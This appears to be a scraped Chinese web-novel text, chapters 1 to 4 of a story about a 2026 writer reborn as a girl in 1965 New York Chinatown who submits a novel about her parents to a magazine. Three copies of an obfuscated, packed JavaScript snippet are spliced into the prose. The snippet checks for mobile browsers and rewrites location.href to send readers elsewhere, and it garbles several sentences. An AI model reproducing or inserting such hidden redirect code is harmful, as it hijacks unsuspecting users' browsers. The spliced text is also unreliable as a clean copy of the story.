《从在唐人街写小说开始[六零]》 1. 唐人街 “兰姐，求你再容我几天，等工资发下来，我肯定把欠的租金补上。” “阿莲，不是我心狠，到月底你要交的不是一个月，而是两个月的租金，你工资只有那么点，怎么补？” “我……我可以去找人借。” “你怎么借？你找谁借？你每个月挣的那点钱，养活你和两个孩子都勉强，谁敢借钱给你？” “兰姐……” “阿莲，我知道你日子难，我也不是心狠的人，真要那样，早在你第一天拿不出房租的时候，我就把你们母女三个赶出去了。” “兰姐你是好人，我心里一直很感激你。” “可空有感激没用啊，我也要吃饭的，你迟迟交不上房租，我也不赶你，其他租客看到，都要有样学样的。我不瞒你，这两天已经有人找我提意见了，再心软下去，我的日子也要不好过。” “……” “你听我一句劝，换个小一点，租金便宜点的房子，这边……我让你住到月底，如果到时候你能交上房租，我就继续让你住。可要是交不上，你就去找其他房子，至于这个月的房租，就当我帮衬你们了。” …… 杨乐怡被刻意压低的交谈声吵醒，挣扎着爬起来，看到有光从薄薄的窗帘透进来。她挣扎着起身，借着晨光看向床边书桌上的闹钟。 刚过六点钟。 原身母亲陈阿莲在唐人街中心地带的洗衣店工作，早上七点就要上班，一直到晚上九点才能下班。 房东一家睡得早，连着几天没等到陈阿莲，这才一大早起来堵人，可见铁了心想让她们母女三个搬出去。 但也不能说房东不厚道，这个时期美国房租常见的是按月支付，通常固定在每月一号交租。 唐人街更讲人情，但拖延也不过几天，再长房东就要赶人了。何况兰姐还松口，只要她们一家搬出去，这个月房租直接给她们免了。 可这也更能看出房东态度之坚决，也让陈阿莲再无争取的余地。房东退让到如此地步，她再哀求，实在有点得寸进尺。 于是谈话到此结束。 外面很快响起关门声，是房东离开了。 但外间没有动静，倒是窗外和楼道里声音渐大，有家长喊孩子起床，也有人摇着铃骑自行车从楼下快速掠过。 透过窗帘照进来的光线也越来越明亮，杨乐怡再躺不下去，便掀开薄被起床。 脱掉睡衣，换上洗得发白的棉布连衣裙，杨乐怡用皮筋随意扎好头发，便推门出了房间。 这是个一室一厅的小公寓，面积不是很大，里外各十五平方左右，里面用衣柜隔开，杨乐怡姐妹俩睡里屋，陈阿莲夫妻睡外面。 不过陈阿莲丈夫杨志明已经在两个月前去世，现在外面只有陈阿莲一个人住。 外间是客厅、餐厅、厨房的综合体，当然每个区域家具都很少，尤其是餐厅，只有一张折叠餐桌，常年靠墙摆放着。 杨乐怡出去时，陈阿莲坐在套了棉布罩的沙发上，头微微低着，拄在扶手上的右手捂着眼睛。 走近了，能看出她在无声抽泣。 杨志明出事很突然，是下班路上不小心摔了头，送到医院血很快止住，但不知道什么原因，一直昏迷不醒。 美国医疗是出了名的贵，唐人街又像是法外之地，这时候联邦法律规定的时薪是1.25美元，但在唐人街，时薪能低到半块。 半块是华人惯用的说法，他们不说dollar，也不说cents，在唐人街，一美元是一块，五十美分是半块。 不仅时薪低于法律规定，周工作时长也是规定的快两倍，至于加班费，那是不存在的。 在发工资上，唐人街的老板们也一视同仁，现金发放，无W-2，不扣税也不申报，社保自然也是没有的。 而在美国，上下班途中出事不算工伤，所以餐厅老板不必给予赔偿。杨志明住院的所有费用，只能自己承担。 好在杨志明工作不错，之前一直在一家中餐厅当厨师，月薪有三百。为了攒钱买房，一家子又很节俭，存款并不少。 因此虽然掏空存款也没把杨志明救回来，但他们家没欠太多债。丧事上同乡会也有所表示，餐厅老板出于人道主义，给了一笔钱，勉强能填上外债的窟窿。 问题在于杨志明去世后，家里陡然少了一大笔收入。 其实如果杨志明葬礼结束，陈阿莲能立刻带着两个女儿换个面积更小，也更便宜的公寓居住，以她的工资，也勉强能养活两个女儿。 但没有换房，不能怪陈阿莲糊涂或者优柔寡断，而是她们很难找到便宜还安全的房子。 唐人街里贵的房子多种多样，但便宜的房子大致可以分为两类。 一类是和杨家现在住的这套公寓一样，位于伊丽莎白街、坚尼街这种唐人街边缘的公寓。因为位置偏，租金能比核心地带便宜不少。 像杨家现在住的这套公寓，一室一厅，厨房虽然是房东硬塞进来的，但好歹不用跟人共用，还有个单独的卫生间，条件已经很不错。 差不多面积和条件的房子，在唐人街里面，至少要六十五美元才能租到。但因为位于伊丽莎白街，这套公寓的实际租金只有五十五美元。 另一类房子则大多位于勿街、摆也街这样的唐人街中心地带，地段好，但都是隔断房。 像杨家现在住的这套三十平的公寓，在勿街房东手下至少能隔成四个小单间，每个小单间放一两张床，可以租整间也可以租床位。 租隔断的好处是租金便宜，整间月租在三十美元左右，坏处是房间里没有家具，也没有独立浴室，每天上厕所洗澡都要排好久。 陈阿莲没有选择搬去租金更便宜的隔断间，不是因为怕吃苦，而是住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349233|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔断的通常都是单身男性。 因为历史原因，这个时期的唐人街男多女少，且差距很大，所以女人想结婚相对容易，独自在外租房的单身女性很少。 虽然近几十年，唐人街人口增长缓慢，外来人口更少，大多数人都互相面熟。唐人街内部也有自己的秩序，生活在这里的人不能为所欲为。 但陈阿莲一个带着两个女儿的独身女人，搬去楼里全是男人的隔断间，实在冒险。她不为自己考虑，也要为两个女儿着想。 因为这些顾虑，所以陈阿莲明知道房东早就想让她们母女搬出去，但没到最后关头，她就一直装傻充愣不提搬家的事。 但房东已经下了最后通牒，她脸皮再厚，也没办法一直赖在这里。 可搬出去后，她们能去哪里呢？ 想到未来，陈阿莲心里满是茫然与绝望，这让她逃避般想到，如果她丈夫还活着就好了。 如果他还活着，他们不必搬家，甚至不久以后，他们能拥有属于自己的房子。 然而现实却是，随着他离开，这一切都成了虚妄。 陈阿莲再忍不住，腌面哭泣起来。 但她终究是个母亲，哪怕生活压得她快喘不过气，她也想为两个女儿撑起一片天，希望她们能无忧无虑地长大。 所以听到杨乐怡喊她，陈阿莲的第一反应是擦掉眼泪，挤出笑容说：“灰尘进眼睛了。” 外间有扇小窗户，不大，但因为没有窗帘阻隔，光线比里屋更亮。母女俩离得不远，杨乐怡能清楚看到陈阿莲红肿的眼。 甚至，她脸上泪痕都没被完全擦干。 但杨乐怡没有刨根问底，只哦了声说：“我肚子好饿。” 陈阿莲松了口气，诶了声连忙起身：“我煮了粥，家里还有酱菜，我再炒一碟咸鱼碎，就粥最好。” 杨乐怡应声，钻进浴室洗漱。 等杨乐怡洗漱完，咸鱼碎已经炒好，屋里飘着腌鱼的咸香，勾得杨宝怡从床上爬起，眯着眼睛走出来，吸了吸鼻子说：“好香啊。” 杨乐怡说：“香就快速刷牙，吃早饭了。” 杨宝怡清醒了些，睁开眼看到餐桌上难得有荤菜，不再磨蹭，几步钻进了浴室。 吃饭时母女俩没有多聊早上的事，陈阿莲已经整理好情绪，神色如常地问姐妹俩今天有什么计划。 现在是七月中旬，暑假还未过半，杨乐怡姐妹不需要去学校。 不过华文学校开了为期六到八周的短期华文班，虽然课程主要集中在周六，但周中偶尔也会有半天课。 陈阿莲问的计划，实际上也是在问她们今天要不要上课。 杨乐怡咽下口中的酱菜，回答说：“宝怡有半天课，送她去学校后，我打算去一趟华侨文化社。” “文化社？”陈阿莲一愣，“你去那里做什么？” “投稿。” 2. 《华侨文阵》 穿越前，杨乐怡是个网络写手。 这么说有点谦虚，因为出版社在介绍她时，更倾向于说她是网络人气作家。她的粉丝在吹捧她时，也更愿意称呼她大神。 但在她本人心里，她只是一个宅到可以几个月不出门的网络写手。 她运气不错，可能也有点才华，写作十年，出版了八本书，常有作品出现在各种盘点中，算是网络写手中混得不错的，但离大爆出圈始终差了口气。 对于现状，杨乐怡算不上焦虑，她在事业上没有太大野心，有一间屋子，一台电脑，可以写出喜欢的故事。 这样的生活已经很好。 她以为自己会这样过一辈子，谁知道那天一觉醒来，就从2026年家住沪市的杨怡，变成了1965年家在唐人街的杨乐怡。 好消息，她年轻了十几岁，变成了一名初中生。 坏消息，她开局就是父亲去世，家庭即将跌入斩杀线。 好吧，跌入斩杀线有点夸张。 虽然在美国，失去住房，收入无法覆盖支出，是跌入斩杀线的前兆。但那针对的是白人，在唐人街，有另一套运行法则。 何况她身处的是1965年的唐人街。 《移民与国籍法》要到今年十月才会被通过，之后会迎来移民潮。但在过去的几十年里，因为名额稀少，唐人街人口变化不大。 而唐人街的现有人口，以台山人为主，然后才是粤省其他地方的人。 换句话说，这个时期唐人街住着的人，大半是老乡。 除了是老乡，他们还一起经历过华人被排挤的困难时期，所以这时期的华人相对团结。人与人之间可能存在小矛盾，但真到困难的时候，愿意搭把手的人也多。 像房东兰姐，她虽然想让杨家母女三人搬出去，可最后关头还是松了口，允许她们住到月底，并答应免掉租金。 何况实在不行，她们还可以去住隔断。 等杨乐怡再大一点，可以进工厂打工，到那时，她们的经济条件会宽裕很多，也许又能搬回现在住着的公寓。 但进厂绝不是杨乐怡想要的未来，同时她也知道，不想办法开源，很长一段时间里，她们这个家都毫无抗风险能力。 一旦有人生病，她们家就会再次陷入困顿。 到那时，能不能熬过去是个问题。 如果没有一技之长，或者擅长的事需要成本，杨乐怡可能到现在还在头疼前路该怎么走。但写小说有个笔记本，一支笔就够了，对还是学生的她来说，约等于无成本。 所以在了解清楚穿越后面临的困境后，杨乐怡很快作出决定——她要继续前世的事业，写小说。 但写什么，写出来的故事能不能变现，是个问题。 好在杨乐怡刚穿来那会学期还没有结束，不懂的她可以直接问老师。同时她又翻阅了不少报纸杂志，对比了各家的录用门槛以及稿费情况。 论稿费，首选肯定是英文报纸杂志。 比如《星期六晚邮报》，一个两千到五千词的短篇，录用后就算是新人，也能拿到最低一千美元的稿费。 还有《纽约客》，新人写的短篇也能拿到六百美元左右。 华文报纸稿费就没那么高了，短篇通常只能拿到几十美元的稿费，长篇则按千字算，新人可能低至千字两美元，有名气的作者，千字也难有两位数。 但发行量大的报纸，稿费通常不错，相应投稿的人也多，编辑部一天能收几百甚至上千封投稿信，没有人脉的作者，连审稿的机会都很难得到。 何况杨乐怡前世非英语专业，虽然考了四级，但毕业多年，早忘得差不多了。 穿越后虽然有原身记忆，唐人街对应的中小学也是英文教学，但师资力量薄弱，原身成绩不差，可要说英文水平到了能中稿的程度…… 杨乐怡脸皮再厚也点不下这个头。 更不要说这年代还有种族歧视这种现实问题，且她还是个未成年，新人加华人加未成年，三重身份让她的投稿之路变成了地狱难度。 比较起来，投中华文报纸杂志的概率就要高得多。 很现实的问题，英文报纸稿费多，虽然有种族歧视存在，但总有些报纸对华人相对友好。 比如《纽约客》、《大西洋月刊》，这些杂志都接受华人投稿，也刊登过华人写的非猎奇题材作品。 而且就算投不中白人办的报纸，他们也能投华人社区的英文刊物，这些报纸多由大型华人团体创办，资金相对充裕，给的稿费也过得去。 这么一层层筛选，愿意往华文报刊投稿的人就少了很多，相应的竞争也没那么激烈。 所以华文报刊不仅对新人友好，还不限制未成年投稿。 最终，杨乐怡在比较了一堆华文报刊的收稿范围以及稿费后，精心挑选出了华侨文化社创办的月刊《华侨文阵》。 说是精心挑选，实际上是杨乐怡没得选。 这时候愿意连载小说的华文报刊分两类，一是各种华文日报的副刊，基本每天都会有两三个版面连载小说，题材还非常丰富，有武侠，有言情。 但日报副刊连载的小说，大多是从香江、湾岛转载过来的名家作品，很少有本地作者投搞的作品刊载。 这样可能是因为本地少有写得好的通俗小说，但不管如何，都能说明过稿不容易。 再就是各类独立运营的文艺刊，这类杂志过稿容易，但以散文、诗歌为主，短篇小说都收得很少，收长篇小说的更是一个巴掌都能数得过来。 而比起短篇，杨乐怡更擅长写长篇，三十万字起步，一百万字不嫌多的那种。毕竟在她穿越前，十来万字的小说都算短篇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349234|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>短篇也能写，但总归没那么顺手，让她难有信心。 选择《华侨文阵》，主要是因为它在收长篇的文艺刊中，名气算是比较大的，信誉也好，从不拖欠稿费。 杨乐怡准备投稿这件事没有瞒着家里人，毕竟瞒了也瞒不住。 唐人街很小，里面生活的人关系又很紧密，什么消息都传得飞快。杨乐怡并不怀疑她前一天去华侨文化社投稿，后一天这事就能传进陈阿莲耳朵。 何况这个故事，本来就是以陈阿莲夫妻为原型写的。 创作之初，杨乐怡问了陈阿莲很多过去的事，只是她可能以为女儿是一时兴起，故事写不成，没太在意。 直到这会杨乐怡说准备去投稿，才有些紧张地问：“是你之前说要写的那个故事？” “嗯。”杨乐怡点头。 “我能看看吗？” 陈阿莲问完，不等杨乐怡回答便摇头说，“算了，我不识字，看了也不懂。” 杨乐怡说：“你想知道具体故事，等晚上你下班，我读给你听。” 陈阿莲有点心动，又有些迟疑：“如果你的稿子被录用了，会不会有很多人知道那是我和你爸爸？” “可能不会有很多人知道，”杨乐怡想了想说，“我听人说《华侨文阵》的发行量在三千左右，主要在纽约、洛杉矶和旧金山的华人社区销售，在我们唐人街，一期能卖出一千份就很多了。” 这个时期，纽约有三万多华人，但唐人街内部华人只有两万多，另有几千人聚居在布鲁克林、皇后区等地方。 唐人街的两万多华人，不可能都认识陈阿莲夫妻，而认识她的人，不可能都是《华侨文阵》的忠实读者。 所以杨乐怡认为，能联想到陈阿莲身上的人不会太多。 何况杨乐怡写的这个故事，虽然是以陈阿莲夫妻为原型，但写的又不仅是他们两个人，融合了很多早期来美的华人影子。 陈阿莲听后放心下来，但又有些怅然若失。 她不是那种张扬的人，可也正因为这一生太过平凡，她才难以抵抗成为一部小说主角原型的诱惑。 …… 吃过早饭，陈阿莲出门上班。 杨乐怡姐妹比她晚半小时出门，将杨宝怡送到位于勿街的华文学校。 勿街是唐人街核心中的核心地带，各类公所、会馆、同乡会，还有报社、印刷所都集中在这条街上。 像和华文学校同一栋楼的中华公所，就是纽约最大的华人侨团。 将妹妹送到教室，杨乐怡便下楼往华侨文化社去。 *《华侨文阵》其实是四十年代发行的刊物，四六年就已经停刊。 到六十年代，这类文艺类刊物的稿费也没这么高，短篇只能拿到几美元，长篇基本不收，这部分内容是基于剧情进行的虚构，请勿联系现实。 3. 《阿珍的故事》 出中华大楼，往前走几分钟，从路边一间商铺旁边的楼梯上去，杨乐怡的目的地就到了。 华侨文化社办公室不大，面积在四十到五十平之间，里面有一间小办公室，上面铭牌写着“主编室”。 外间两两相对摆着四张办公桌，但员工只有两个，都坐在左边的办公桌上。右边两张办公桌上面则堆满了杂物，当然也有不少未拆封的信件。 两个员工，一个年龄三十上下，穿衬衣，戴眼镜，瞧着挺斯文，正在看一份文稿。一个眉眼稚嫩，估计只有十七八岁，正在整理信件。 先回应杨乐怡的是年轻的那个，他放下手头的事，走近后先做自我介绍，再问：“你有什么事吗？” 杨乐怡同样做了个自我介绍，然后说：“我想投稿。” “你？！” 年轻人瞪大眼，上下打量杨乐怡，问，“妹妹仔你多大了？我们这里是杂志社，不是学校社团。” 杨乐怡问：“所以你们不接受未成年人投稿吗？” 年轻人被问住，挠挠头说：“那倒没有。” 杨乐怡从斜挎包里取出文稿，递向年轻人说：“这是我写的小说。” 办公室并不大，两人的谈话都进了郑鸿耳朵，原本他不打算管，接收新人投稿是阿兴的工作，他的主要任务是从大量投稿中，筛选出认为不错的文章。 但他正在看的这篇文章内容空泛，没什么趣味，他的注意力很快被两人之间的对话吸引。杨乐怡话音里的自信，让他忍不住好奇她是否真对自己的作品这么有信心。 于是不等阿兴再开口，郑鸿便开口说：“把稿子拿给我看看吧。” 阿兴闻言不再迟疑，从杨乐怡手里接过文稿，送到郑鸿手里。 杨乐怡也跟着走过去，站在离郑鸿办公桌不远的位置。后者接过文稿，念出扉页的文名：“阿珍的故事？” 话落看一眼杨乐怡，指了指靠边靠墙摆放的长椅说，“你可以坐着等一会。” 杨乐怡应声，走到长椅前坐下。 阿兴虽然惊讶杨乐怡小小年纪就来投稿，但本性是个热心人，怕她口渴，很快倒了杯茶过来，又安慰说：“你不要紧张，郑哥人很好的。” “谢谢。” 杨乐怡道谢，接过茶杯却只是捧在手里，没有喝。 其实像《华侨文阵》这样的小型刊物，经常有学生来投稿，其中也不乏未成年。但在未成年中，杨乐怡年纪也够小的。 而杨乐怡这个年纪的孩子，虽然从小就上华文学校，但这只是补充教育，学期内只每个周末上几小时课。暑假课程能安排得充足一些，但华文要学的太多，这点时间依然不够。 再加上学校教的虽然是国语，但老一辈会说的少，学生们回家后还是说粤语或者台上话。而到了学校，交谈又以英文为主。 学习时间短，加上没有语言环境，杨乐怡这一代的华人小孩，国语说得都不怎么样，更不必说华文写作。 也因为这样，来投稿的学生虽然不少，可过稿率并不高。 郑鸿见过太多乘兴而来败兴而归的学生，虽然好奇杨乐怡哪来的自信，但对她写的故事并不看好。 所以哪怕看到她递过来的文稿厚厚一叠，粗略估计至少有三万字，但他依然选择让她坐在一旁等待，而非回去等消息。 他认为，要不了五分钟，他就能告诉杨乐怡审稿结果。 但郑鸿再抬起头，已经是半个小时后，他已经看完了全部文稿，剧情断在关键点，像钩子吊住了他的胃口。 抬头时，他想说的是：“只有这么多吗？后面的内容呢？” 但当他看清椅子上的身影，发热的头脑便冷静了下来，到嘴边的话变成了：“这篇小说真是你写的？” 杨乐怡起身说：“是我写的。” 郑鸿想说怎么可能，虽然论文采，这篇小说谈不上如何斐然，甚至他回想起来，都想不出文里用过什么成语或者俗语。 而他们报刊发行量虽然不大，但销量一直很稳，在华文报刊行业小有名气，长期合作的作者中不乏辞藻华丽，诗歌散文信手拈来的。 跟那些人比起来，杨乐怡投搞的这个故事，文笔实在不算什么。 郑鸿想不起这个故事用了什么成语，但他能轻易回忆起，一些使用成语能读起来更干净利落的语句。 凭这一点，可以看出作者国语词汇量不足。 可能有人会想，词汇量不足，这故事能好看？ 但在实际写作中，用词精准与否，往往比词汇量是否充足更重要。 简短精炼是一种文风，辞藻华丽又是一种文风，大多数人很难两头都占，能在一方面深耕足以。 杨乐怡送来的这本小说，文风没有到简短精炼的程度，但已经有了雏形。有些部分表达上虽然累赘了些，但完全没有词不达意的废笔。 这种水平，别说唐人街的新生代，就算国内是从小受着熏陶长大的孩子，在杨乐怡这个年纪也很难达到。 但小说作者华文词汇量明显不足这点，又让郑鸿有点迟疑。 因为杨乐怡这个年纪，确实可能词汇量不足。至于她小小年纪用词便如此精准，可能是天赋？ 想到这里郑鸿说：“我能问一问你今年多大了，在上几年级吗？” 杨乐怡回答说：“十二岁，下半年升八年级。” 郑鸿闻言，心里意外又不意外，意外在于她下半年才上初二，不意外是她看起来就不大。 他继续问：“那能说说你爸妈都是做什么的吗？你怎么会想到写这个故事？” 作为一个编辑，郑鸿问得实在有点多。 杨乐怡也看出来了，郑鸿问这么多，本质上是不相信这篇小说是她写的。 对一名小说作者来说，这有点冒犯，但审核权在郑鸿手上，他点头与否，关系到她能不能拿到钱缓解家庭经济压力。 杨乐怡没有表露不满，回答说：“我爸生前是一名厨师，我妈在洗衣店工作。” 郑鸿闻言，脸上露出尴尬的表情：“抱歉，我没想到……” 杨乐怡没管他，继续回答第二个问题：“这个故事，是以我爸妈为原型写的，也参考了邻居讲述的一些过去的事。” 写有原型的故事有点取巧，但杨乐怡没有更好的选择。 如果说写英文小说，最大的难题是她英语不够好，那么写华文小说，最大的困难就是原身华文不太行。 这种情况下，她突然写出一本原创华文小说，很难不引人注目。 而且写原创小说，题材选择也够让人头疼的。 写爱情？她这个年纪有点太早了。 写武侠？她华文“不好”怎么写？ 写悬疑？这又涉及到知识储量。 如果经济条件宽裕，杨乐怡可能会再缓一缓，假期多请教华文学校的老师，再大量阅读一些学校有的书籍报刊，再适当表现她的语言能力。 等过完暑假，她的选择会多很多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349235|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但现实让她没有铺垫的时间，她只能从最简单的故事写起。可怎么把简单的故事写得能打动人，又是难题。 恰好杨乐怡选择投稿报刊时，注意到这时候的文学类的报刊，倾向于写怀旧、华工、华人生活等小说。 写华工，杨乐怡很难比得上经历过那个时代的人。怀旧更不必说，她前世是九五后。于是能写的只剩下华人生活。 经过综合考虑，并征得陈阿莲的同意后，杨乐怡决定写以原身，也可以说是她父母为原型的故事。 虽然故事内容有不少原创剧情，但整体参考了她父母的过去，如果有人问她怎么想到的剧情，完全可以用陈阿莲讲述的理由混过去。 至于历史背景，也可以用老一辈讲过来解释。 此外她还在用词上下了功夫，写作期间惯性用上的成语，在二次修改时全部改成短句描述，难写的词语也尽量替换成简单词汇。 要不是这样，三万字怎么也用不着她花半个月去写。 总而言之，杨乐怡写《阿珍的故事》不说百分百，至少有百分之九十是因为钱，夹杂的私人感情并不多。 但郑鸿不知道杨乐怡的想法，以为她会写这个故事，是为了怀念去世的父亲，心里不由更加歉疚。 他也不再怀疑杨乐怡不是小说作者。 没有作者会在遗失全部文稿后不去寻找，唐人街只有这么大，如果杨乐怡送来的是捡来的文稿，这事迟早会纸包不住火。 何况杨乐怡拿出的并非全部文稿，小说是不是她写的，看后面的内容质量有没有断崖式下降就知道。 想清楚后，郑鸿说道：“你写的故事很动人，感情也很真挚，很有感染力，但你送来的文稿好像还没有结局，我想问一下这个故事你总共打算写多少字？” “预计十万左右。” 计划写十万字，不仅是因为杨乐怡觉得这是合适的长度，也因为她考虑过，如果能过稿，按照最低千字算，十万字的小说她能拿到两百美元稿费。 她家目前的房租是五十五每月，两百差不多够付四个月房租。 经济压力缓解后，她会花时间补英文，并尝试着给英文报刊投稿。 当然，哪怕她融合了原身记忆，以她的英文水平，短时间内过稿概率也不大。所以她想好了，如果英文年报看屡投不中，就继续投华文报刊。 虽然华文报刊稿费低，但蚊子腿再细也是肉，总能缓解她家的经济情况。 而有了《阿珍的故事》作为铺垫，后面她再写华文小说不必这么束手束脚，如果放飞后能写出一篇爆款，说不定未来一年半载，她都不用再发愁没钱。 郑鸿眉毛微拧，虽然他很喜欢这个故事，但十万字实在有点长。 他们杂志是月刊，文章篇幅通常在一万以内，知名作者才能得到更大版面。就算他向主编争取，每期刊登两万字，也要五个月才能登完这篇文章。 战线拖这么长，就算这篇文章刊登后反响不错，读者的热情也可能会被消磨掉。 但郑鸿回想自己看过的这三万字，确实离完结还长，如果要求缩减指数，可能会影响到整体观感，起反效果。 沉思过后，郑鸿说：“这样吧，主编回来后我会把稿子拿给他看，你留个地址我，有消息我找人送信过去。” 杨乐怡早做好了一天定不下来的准备，留了华文学校的地址给他，并说：“后天是周六，华文学校全天有课，你送信到那里，我肯定能收到。” 4. 母女谈话 陈阿莲工作的洗衣店离家不远，九点整下班，她到家不过九点十分。 进屋后，她先去洗饭盒。 洗衣店不提供午晚餐，杨志明在世时因为在中餐厅工作，又是主厨，多打一份饭没人说嘴。 他去世后少了这份便利，陈阿莲只能晚上回来做饭，装盒次日带到洗衣店。 没办法，中餐厅里最便宜的碟头饭，一份都要一美元左右，一天吃两顿，一个月就要花掉近六十块。 除了没有经济压力的单身工人，没人能舍得一天两顿在外面吃。 不过等杨乐怡适应穿越，她就接过了做饭的任务。 美国学校放学早，原身既没有参加社团，也没报什么补习班，在完成作业和准备写作之余，她还能抽出时间做晚饭。 暑假开始后，杨乐怡时间更宽松，不再让陈阿莲带饭，一天两次给她送过去。 纽约夏季炎热，饭菜隔夜很容易馊，而冰箱虽然已经走入很多普通人家庭，但杨家没有，洗衣店老板更不可能给准备。 万一陈阿莲因为吃了馊饭生病，对她们这样的家庭来说无异于雪上加霜。 洗干净饭盒，陈阿莲推门走进里屋，杨乐怡正坐在饭桌前书写着什么。 这不是陈阿莲第一次见到杨乐怡伏案写作，但那时她不知道女儿在写她的故事，只以为她在做作业。 现在知道了，看到杨乐怡专注的模样，心里有了异样的感觉。 那种感觉说不清，可能是感动，也可能是愧疚，种种情绪让她忘了进屋的目的，直到杨乐怡发现她，转头压低声音说：“妈你去洗澡吧，我写完这一小段剧情，就给你读前面写的稿子。” 之前杨乐怡从不在晚上写作。 老公寓里装的是灯泡，瓦数很低，虽然有台灯，光线也不怎么明亮，杨乐怡怕伤眼睛。 她个人也更喜欢在亮如白昼的环境里写作，前世装修房子时，她特意在书房装了个大瓦数的调动，晚上打开灯，拉上窗帘，身处其中很容易分不清白天黑夜。 今天是特殊情况，她答应了要给陈阿莲读《阿珍的故事》，不能和平时一样早睡。 家里没有电视，唯一一台收音机，也在杨志明去世后转手了。至于书籍，家里有的她都看过，没有再看一遍的想法。 干坐着实在无聊，她就打开了笔记本写稿。 刚开始没什么感觉，写了好几段都觉得不太合适，统统被划掉。 本来想算了，谁想临近九点突然来了灵感。 好在这段剧情不长，等陈阿莲洗完澡出来，杨乐怡也刚好写完。她从书桌抽屉里翻出一份文稿，拿出去坐到陈阿莲身边。 读之前，杨乐怡先喝了口水，再清清嗓子，对着文稿念道：“阿珍的故事，开始于一九四四年的春天……” 陈阿莲的故事，同样开始于一九四四年的春天。 这不是说她出生于四四年，而是那个春天里发生的事，改变了她的命运。 那个春天之前，她生活在粤省台山乡下，听着老一辈淘金的故事长大，但始终不觉得这些故事和自己有什么关联。 直到杨志明出现。 杨志明的父辈是第一批华工，在美国流尽了血泪，终于换得正式身份。他在美国出生、长大，学了一技之长，有了稳定工作，算是过得不错的。 但因为种种原因，他迟迟没有结婚。 当然，这没什么稀奇的，唐人街多的是单身汉。 只是随着父母逝去，他又没有亲兄弟，有时难免感到孤独。所以在《排、华法案》被废除后，他迅速做下了回国相亲的决定。 这决定不算突兀，唐人街和他做出同样决定的人并不少。 虽然就算回国相亲结了婚，因为移民配额问题，短时间内他们也很难把妻子和可能出生的孩子接来，但有了妻子儿女，心中总有个念想。 杨志明就是在这样的背景下回的台山。 在唐人街，他可能算不上富裕，但当时国内更穷，他们这些从“金元王国”回来的人，在台山本地人眼里仿佛镀了一层金光。[1] 因此，哪怕当时杨志明已经年近三十，想把女儿嫁给他的大有人在。 陈阿莲是那个幸运儿。 他们结婚之初，村里很多人羡慕陈阿莲，觉得她嫁了大港[1]来的有钱人，以后肯定能吃香的喝辣的。 没准她也能跟着去当美国人！ 婚后不久，杨志明便独自返回纽约，留下陈阿莲一个人生子育儿。但因为他定期寄钱回来，村里羡慕陈阿莲的依然不少。 之后几年，夫妻两个一直两地分居，期间陈阿莲带着儿子去了香江，杨志明则在纽约为了一家团聚而努力。 直到五十年代初，杨志明才终于弄到两个移民名额，却没想到还未出发，两人的孩子便因病去世，最终到纽约的只有陈阿莲一个人。 陈阿莲对未来的向往，早在夫妻分居，独自育儿的那些年被磨灭，她后来去香江，去美国，其实都是随波逐流。 她是个保守的人，哪怕在纽约生活多年，依然觉得嫁鸡随鸡嫁狗随狗，所以杨志明的去世对她的打击很大。 杨乐怡在听过陈阿莲的往事后，保留了大的背景，比如法案被废除，男主阿光回国相亲的背景不变。 但故事里的阿光比杨志明更干脆，回到纽约不久，便找人搞定了移民名额。 因为分别时间不长，阿珍其实是带着“美国梦”到的纽约。 “美国梦”这个词，最早是历史学家詹姆斯·特拉斯洛·亚当斯在一九三一年出版的《美国史诗》里提出来的。[1] 他认为，在这片土地上，每个人都能过上更好、更富足、更充实的生活，每个人都能凭借能力与成就获得机会，无论出身于地位。[1] 到后来，美国梦渐渐变成了无论出身、阶层、种族，只要努力奋斗，就能过上更好、更富足、更自由的生活。[1] 虽然“美国梦”被正式定义的时间不长，但早在十九世纪末，便涌现出了大批以它为主题的通俗小说。 这些小说的主旨，基本都是穷小子逆袭奋斗，走上人生巅峰。 不过到了近些年，反而是批判“美国梦”的现实主义题材更受欢迎，比如《了不起的盖茨比》、《愤怒的葡萄》，都是精品佳作。 总之，这几十甚至上百年里，“美国梦”一直都是经久不衰的议题。 杨乐怡在选择题材时，也考虑到了这一点。 在她的构思里，阿珍揣着“美国梦”来到纽约，所以在阿光为了名额，几乎倾家荡产，两人一穷二白的时候，她依然能保持乐观向上。 她坚信，只要他们坚持奋斗，迟早能在纽约买下属于自己的房子，过上幸福的生活。 所以文章的前半段，基调温馨向上。 到这里，这个故事就和陈阿莲的经历有了不同。 但陈阿莲听得很认真，双眼明亮，唇角一直挂着浅浅的微笑。 三万字的文稿读完，她仍意犹未尽，追问：“后来呢？阿珍得到那份工作了吗？阿光又会做出怎样的选择？” 迭声问完，陈阿莲想起来，对，她女儿还没有写完这个故事。 以前她去茶楼听书，也更愿意从头听到尾，而非听到一半被人剧透。何况夜已经深了，她明天还要上班。 